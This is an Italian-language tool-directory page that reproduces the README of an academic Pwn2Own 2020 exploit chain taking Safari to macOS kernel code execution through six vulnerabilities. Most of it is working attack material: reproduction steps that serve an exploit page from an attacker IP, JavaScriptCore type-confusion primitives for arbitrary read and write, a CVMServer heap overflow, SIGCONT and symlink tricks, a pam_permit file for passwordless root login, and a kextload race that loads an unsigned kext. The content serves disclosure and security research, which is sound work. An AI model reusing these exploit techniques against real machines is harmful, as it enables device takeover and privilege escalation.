Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
pwn2own2020 — Compromettere il kernel di macOS attraverso Safari concatenando sei vulnerabilità | Kitploit
Strumenti/GitHubGitHub/sslab-gatech/pwn2own2020
Escalation di PrivilegiExploitShellcodeSfruttamento di Applicazioni WebPenetration TestingSviluppo PayloadBinary Exploitation
GitHubsslab-gatech/pwn2own2020

pwn2own2020

Compromettere il kernel di macOS attraverso Safari concatenando sei vulnerabilità

Vedi Repository
414585 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Compromettere il kernel di macOS tramite Safari concatenando sei vulnerabilità

Panoramica

Questo repository contiene i dettagli di sfruttamento e tecnici della nostra sottomissione vincente al Pwn2Own 2020 che ha preso di mira Apple Safari con un'escalation dei privilegi del kernel per macOS 10.15.3. Per ulteriori informazioni, puoi anche consultare le nostre slide del Blackhat USA 2020 e il video. Questo repository include anche il nostro video dimostrativo per lo sfruttamento riuscito.

Come riprodurre

  1. Esegui il server HTTP usando python3 nella cartella exploits.```shell $ python3 -m http.server 80
root@kitploit:~
2. Accedi al sito web con l'IP del server attaccante usando Safari:```
http://[attacker_ip]/exploit.html
  1. Attendere la Calcolatrice (di solito appare in dieci secondi, ma se si è sfortunati, potrebbe volerci del tempo) e un terminale con privilegi di kernel. Per mostrare la nostra escalation di privilegi del kernel, abbiamo disabilitato SIP. Puoi verificarlo eseguendo il comando csrutil status, che mostrerà disabled.

Compilare dal sorgente

Per tua comodità, abbiamo fornito un payload compilato, payload.js. Ma, se vuoi, puoi compilarlo da solo. Nota che ci vorrà molto tempo perché costruiremo WebKit come parte della nostra catena di exploit. Vale la pena notare che abbiamo testato il nostro processo di compilazione solo su Mac OS.```shell

Install xcode first

$ python3 -m pip install --user lief $ make

root@kitploit:~
Technical details
-----------------

Per realizzare questo exploit, abbiamo concatenato le seguenti *SEI* vulnerabilità.

### 1. Esecuzione di codice remoto in Safari tramite una modellazione scorretta degli effetti collaterali dell'operatore 'in' nel compilatore DFG di JavaScriptCore

- Analisi della causa principale

In JavaScriptCore, quando una proprietà indicizzata veniva interrogata con l'operatore 'in',
il compilatore DFG presumeva che non avesse effetti collaterali, a meno che non ci fosse un
oggetto proxy nella sua catena prototipale in grado di intercettare questa operazione.
JavaScriptCore marca un oggetto in grado di intercettare questo accesso a una proprietà indicizzata
tramite il flag chiamato 'MayHaveIndexedAccessors'. Questo flag è
esplicitamente marcato per l'oggetto Proxy.```javascript
0 in [] // side-effect free

let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!

Tuttavia, c'è un altro oggetto che può causare un effetto collaterale: JSHTMLEmbedElement che implementa il proprio metodo getOwnPropertySlot(). Un modo per innescare callback JavaScript (cioè effetti collaterali) con l'operatore 'in' è usare l'elemento <embed> con il plugin PDF; quando una qualsiasi proprietà viene interrogata sull'oggetto DOM del tag embed/object, tenta di caricare il plugin sottostante e il gestore dell'evento DOMSubtreeModified può essere chiamato nel caso del plugin PDF perché utilizza il metodo appendChild sull'elemento body.

Questa è la traccia dello stack della chiamata dell'effetto collaterale da getOwnPropertySlot().```txt Stack trace #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb) #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7) #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48) #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4) #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224) #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c) #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85) #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912) #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e) #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807) #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7) #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595) #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681) #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d) #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77) #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26) #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca) #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023) #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913) #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)

root@kitploit:~
Poiché qualsiasi oggetto nella catena del prototipo non è marcato con "MayHaveIndexedAccessors", JIT assume che questo uso dell'operatore 'in' non abbia transizioni all'interno, eliminando i controlli del tipo di array dopo la transizione.```javascript
// In the frame of 

function opt(arr) {
	arr[0] = 1.1;
	100 in arr; // 100 not exists in arr, making it check __proto__
	return arr[0]
}

for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')

document.body.addEventListener('DOMSubtreeModified', () => {
	arr[0] = {}
})

document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value

Costruendo una primitiva addrof/fakeobj da questo, possiamo creare una primitiva RW arbitraria per ottenere l'esecuzione di codice con la funzione JavaScript compilata JIT.

  • Exploitation

Dopo aver ottenuto le primitive addrof/fakeobj, le convertiamo in primitive addrof/fakeobj più stabili falsificando un oggetto.```javascript hostObj = { // hostObj.structureId // hostObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20) id: (new Int64('0x0108191700000000')).asJSValue(), butterfly: null, o: {}, executable:{ a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58) unlinkedExecutable:{ isBuiltinFunction: 1 << 31, a:0, b:0, c:0, d:0, e:0, f:0, // Padding (offset: 0x48) identifier: null } }, // -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40) strlen_or_id: (new Int64('0x10')).asDouble(), // String.size target: hostObj // String.data_ptr }

hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier Function.prototype.toString(fakeHostObj) // function leaked-structure-id { [native code] }

root@kitploit:~
Trapeliamo l'ID della struttura dell'hostObj creando un finto oggetto funzione
fakeHostObj e chiamando Function.prototype.toString su di esso. Il nome della
funzione riflette il valore dell'ID della struttura come stringa UTF-16. Aggiorniamo
l'hostObj dopo aver trapelato l'ID della struttura. Vale la pena notare che questa
tecnica proviene dal [talk di Yong Wang al Blackhat EU 2019](https://www.blackhat.com/eu-19/briefings/schedule/#thinking-outside-the-jit-compiler-understanding-and-bypassing-structureid-randomization-with-generic-and-old-school-methods-17513).```javascript
hostObj = {
                                                            // hostObj.structureId
                                                            // hostObj.butterfly
    _: 1.1,                                                 // dummy
    length: (new Int64('0x4141414141414141')).asDouble(),
                                                            // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
    id: leakStructureId.asDouble(),                         // fakeHostObj.structureId
    butterfly: fakeHostObj,                                 // fakeHostObj.butterfly
    o: {},
    ...
}

Ora la farfalla di fakeHostObj punta a fakeHostObj stesso. Possiamo usare la primitiva addrof/fakeobj senza attivare di nuovo il bug poiché possiamo accedere a hostObj.o come JSValue o come double usando fakeHostObj[2].

Usando l'id di struttura divulgato di attackObj e la primitiva addrof/fakeobj, possiamo creare oggetti come di seguito.```javascript rwObj = { // rwObj.structureId // rwObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // fakeRwObj = fakeObj(addressOf(rwObj) + 0x20) id: leakStructureId.asDouble(), // fakeRwObj.structureId butterfly: fakeRwObj, // fakeRwObj.butterfly

root@kitploit:~
__: 1.1,                                                // dummy
innerLength: (new Int64('0x4141414141414141')).asDouble(),
                                                        // fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40)
innerId: leakStructureId.asDouble(),                    // fakeInnerObj.structureId
innerButterfly: fakeInnerObj,                           // fakeInnerObj.butterfly

}

root@kitploit:~
Possiamo ottenere una primitiva arbitraria di RW usando fakeRwObj per aggiornare il butterfly pointer di fakeInnerObj e leggere/scrivere da/a fakeInnerObj. Per ottenere RCE da una primitiva arbitraria di RW, attiviamo la compilazione JIT della funzione dummy, leakiamo l’indirizzo del codice, lo sovrascriviamo con il nostro shellcode. A volte, il leak dell’indirizzo del codice fallisce perché non possiamo leggere/scrivere certi valori dal nostro array fittizio. In tal caso, proviamo ad approssimarlo leggendo dalla posizione del puntatore + 1 e shiftando il valore letto. Infine, sovrascriviamo il puntatore al codice della funzione alert con il puntatore al codice della nostra funzione dummy e la chiamiamo (con alcuni argomenti) per eseguire lo shellcode.

### 2. Avvio arbitrario di .app in Safari tramite link simbolico in didFailProvisionalLoad()

Per URL file://, Safari apre una finestra del Finder con [NSWorkspace selectFile:inFileViewerRootedAtPath:]. Questa funzione accetta due parametri e, nella maggior parte dei casi, Safari usa solo il primo parametro, che mostra la cartella contenente il file specificato. Ma se viene usato il secondo parametro, il Finder avvia il file se è eseguibile o un app bundle.

Safari usa il secondo parametro dopo aver confermato che il percorso puntato non è un application bundle — directory con suffisso .app. Poiché un link simbolico può puntare a un application bundle, ma non è una directory con suffisso .app, Safari avvierà l’applicazione puntata dal link simbolico. Questo percorso del codice può essere attivato inviando il messaggio IPC didFailProvisionalLoad().

Tuttavia, Safari stesso non può creare un link simbolico a causa del filtro delle system call della sandbox Seatbelt. Quindi usiamo un’altra vulnerabilità che fornisce root, ma con esecuzione di codice in sandbox.

### 3. Esecuzione arbitraria di codice nel servizio CVM (Core Virtual Machine) tramite heap overflow

Esiste un servizio XPC in sandbox chiamato com.apple.cvmsServ (ovvero CVMServer) che compila shader per varie architetture. Fa parte del framework OpenGL integrato.

Per le richieste con il campo "message" impostato a 4, CVMServer analizza "framework data" e "maps" specificati dall’utente. Il file di dati "maps" si trova in "/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps" — il primo %s è specificato dall’utente senza alcun filtro. È quindi possibile un directory traversal; possiamo fargli analizzare il file creato nella sandbox di Safari.```c
    FILE *fp = fopen(&framework_name_, "r");
    ...
    Header *header = malloc(0x50);
    fread(header, 0x50, 1, v132);
    ...
    items_offset = header->items_offset;
    items_count = header->items_count;
    header = realloc(header, 56 * items_count + items_offset);
    fread(&header->char50, items_offset + 56 * items_count - 0x50, 1, v132);

Se item_count * 56 + items_offset <= 0x50, fread() riceverà una lunghezza underflow vicino a 2^64, diventando quindi un heap overflow con payload di lunghezza arbitraria. Si noti che fread() si ferma quando viene raggiunta la fine del file specificato.

Utilizzando questo, potremmo sovrascrivere l'oggetto heap relativo alla connessione, che potrebbe modificare i puntatori menzionati di seguito:```c case 7: // "message" == 7 v34 = xpc_dictionary_get_uint64(input, "heap_index"); v11 = cvmsServerServiceGetMemory(a1a->session, v34, &port, &size); if ( v11 ) goto error; xpc_dictionary_set_mach_send(reply, "vm_port", port);

__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, _DWORD *port, _QWORD *a4) { Pool *pool; // rax unsigned int v7; // ebx heapitem *v8; // rax

pthread_mutex_lock((&server_globals + 2)); // a1->attachedService is controlled value pool = a1->attachedService->context->pool_ptr; v7 = 521; if ( pool->pointersCount > index ) { v8 = pool->pointers; *port = v8[index].port; *a4 = v8[index].size; v7 = 0; } pthread_mutex_unlock((&server_globals + 2)); return v7; }

root@kitploit:~
Se il valore "port" è 0x103 (TASK-SELF), il servizio concederà al client il diritto di invio della task port di CVMServer, che può essere utilizzata per allocare memoria ed eseguire codice arbitrario sul processo. Per fare in modo che v8[index].port == 0x103, abbiamo cercato nella memoria dell'area di libreria, che ha gli stessi indirizzi tra i processi.```txt
rax := UserInput
[rax+0x38] = X
[X+0x30] = Length (UINT64_MAX)
[X+0x28] = Y (0)
[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)

c'erano molte aree che avevano due valori interi a 64 bit 0, -1, e per rax+0x38 e X+0x30, abbiamo scoperto che _xpc_error_termination_imminent, che è un simbolo pubblico, soddisfa questa condizione. Poiché la lunghezza è maggiore di 2^64 / 0x10, potremmo calcolare l'inverso modulare per puntare Y(==0)*0x18+index+0x10 == &0x103.

Poiché CVMServer aveva il flag com.apple.security.cs.allow-jit impostato, potevamo chiamare mmap con il flag MAP_JIT e invocare il nostro caricatore riflessivo per eseguire file dylib sul processo. Abbiamo eseguito questo codice su CVMServer:```c // In /var/db/CVMS (writable folder)

char randbuf[0x1000]; sprintf(randbuf, "%lu.app", clock()); symlink(randbuf, "my.app");

// Create a valid application at my.app

root@kitploit:~
Dopo aver creato %lu.app e il collegamento simbolico my.app, siamo tornati a Safari e abbiamo inviato il messaggio IPC per aprire l'app. Ma c'erano altre due protezioni: il controllo di quarantena e il controllo di apertura dell'app per la prima volta.

### 4. Bypass della protezione di apertura per la prima volta su macOS

Se Safari tenta di eseguire un'app per la prima volta, Safari nega l'esecuzione se il file ha un attributo chiamato com.apple.quarantine o attende la conferma dell'utente. Tutti i file creati da WebProcess hanno l'attributo --- com.apple.quarantine, tuttavia possiamo già bypassare questo perché abbiamo creato la cartella nel processo CVMServer, non in WebProcess. Per la conferma dell'utente, macOS prima crea il processo, lo sospende e continua il processo dopo che l'utente fa clic sul pulsante `Open`. Ma l'invio del segnale SIGCONT ha funzionato come fare clic sul pulsante.

Quindi, abbiamo eseguito questo codice continuamente in CVMServer dopo aver creato my.app:```c
    for(int i = 0; i < 65536; i++)
        kill(i, SIGCONT);

5. Escalata di privilegi di root in cfprefsd tramite modifica arbitraria dei permessi di file/cartelle causata da una race condition

cfprefsd è un altro servizio XPC che consente a un utente di creare file plist. Si trova in CoreFoundation ed è raggiungibile dalla maggior parte dei processi non in sandbox. Poiché abbiamo già ottenuto privilegi non in sandbox per un utente normale (ovvero CVMServer), possiamo richiedergli di creare un file plist se la cartella e il file di destinazione hanno bit di permessi sufficienti da consentire all'utente client di scrivere nel file. Tuttavia, se la cartella non esiste, crea la cartella del file plist in modo ricorsivo.

Ecco un frammento di codice da CVMServer che crea la cartella.```c _CFPrefsCreatePreferencesDirectory(path) { for(slice in path.split("/")) { cur += slice if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) { chmod(cur, perm) chown(cur, client_id, client_group) } else break } }

root@kitploit:~
Ma se un percorso punta a una directory scrivibile dall'utente, un utente può sostituire la directory
puntata da `cur` e rimpiazzarla con un collegamento simbolico a un file/cartella arbitrario.
Poiché cfprefsd ha privilegi di root, è possibile cambiare il proprietario delle
cartelle come /etc/pam.d. Modificando il proprietario di /etc/pam.d, possiamo scrivere
/etc/pam.d/login con il seguente contenuto:```txt
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       required       pam_permit.so
account    required       pam_permit.so
account    required       pam_permit.so
password   required       pam_permit.so
session    required       pam_permit.so
session    required       pam_permit.so
session    optional       pam_permit.so

Quindi il comando login root darà all'utente una shell root senza alcuna autenticazione.

6. Escalation dei privilegi del kernel tramite bypass dello staging dei moduli e race condition in kextload

kextload è uno dei programmi che possono eseguire operazioni kext (Kernel Extension) su macOS. Eseguendo kextload [percorso della cartella .kext], un utente root può caricare un kext firmato dalla modalità utente. Per impedire kext non firmati o con firma non valida, kextload imposta un callback 'authenticator' nel pacchetto IOKitUser. Sfortunatamente, il percorso del kext è l'unica risorsa disponibile per il callback, ed è difficile prevenire una race condition. Per mitigare questo problema, kextload prima copia la cartella del kext nello spazio dedicato -- /Library/StagedExtensions --- che non può essere modificato nemmeno con privilegi di root grazie a SIP e al meccanismo delle entitlement.

kextload funziona come segue. Se eseguiamo kextload /tmp/A.kext, kextload copia la cartella originale del kext in /Library/StagedExtensions/tmp/[UUID].kext. Quindi, kextload controlla le firme di tutti i file nella cartella. Se questo fallisce, elimina la cartella. Altrimenti, copia la cartella in /Library/StagedExtensions/tmp/A.kext e carica questo modulo.```txt $ kextload /tmp/A.kext -> copy to /Library/StagedExtensions/tmp/[UUID].kext -> validate signatures. if failed, delete the directory -> if succeeded, copy to /Library/StagedExtensions/tmp/A.kext -> load the kext

root@kitploit:~
Un problema in kextload è che questo processo può essere terminato da un utente con privilegi di root. Vale la pena notare che la copia menzionata include un collegamento simbolico, che verrà convalidato successivamente. Tuttavia, se uccidiamo il processo kextload prima della convalida, possiamo preservare un kext non valido con un collegamento simbolico in /Library/StagedExtensions.```txt
# assume /tmp/A.kext/symlink -> /tmp/
$ kextload /tmp/A.kext
    -> copy to /Library/StagedExtensions/tmp/[UUID].kext
    -> kill this process
    -> then, /Library/StagedExtensions/tmp/[UUID].kext/symlink will be remained

Dopo questo, se eseguiamo un altro comando kextload con kextload /tmp/[UUID].kext/symlink/B.kext, B.kext verrà copiato nella posizione scrivibile per un utente con privilegi di root (ad esempio /tmp/[UUID'].kext)``` $ kextload /tmp/[UUID].kext/symlink/B.kext -> copy to /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID'].kext -> since symlink -> /tmp, this is equal to /tmp/[UUID'].kext.

root@kitploit:~
Dopo la copia, kextload verifica se si trova in una posizione sicura, ovvero
`/Library/StagedExtensions/*`. Possiamo temporaneamente posizionare il link simbolico in
/tmp/A.kext per puntare a /Library/StagedExtensions/[percorso del kext valido]. Dopo
la validazione, possiamo sostituire il binario del modulo con un modulo del kernel non firmato, per
ottenere l'esecuzione di codice nel kernel.

Per rendere la race condition affidabile, abbiamo usato sandbox-exec per fermare il programma all'accesso
al file con il suffisso specificato.


Autori
-------
- Yonghwi Jin ([email protected])
- Jungwon Lim ([email protected])
- Insu Yun ([email protected])
- Taesoo Kim ([email protected])

Citazione
--------```txt
@inproceedings{jin:pwn2own2020-safari,
  title        = {{Compromising the macOS kernel through Safari by chaining six vulnerabilities}},
  author       = {Yonghwi Jin and Jungwon Lim and Insu Yun and Taesoo Kim},
  booktitle    = {Black Hat USA Briefings (Black Hat USA)},
  month        = aug,
  year         = 2020,
  address      = {Las Vegas, NV},
}

Riferimenti

  • https://github.com/saelo/pwn2own2018
  • https://github.com/LinusHenze/WebKit-RegEx-Exploit
  • https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html
  • https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
Scarica lo strumento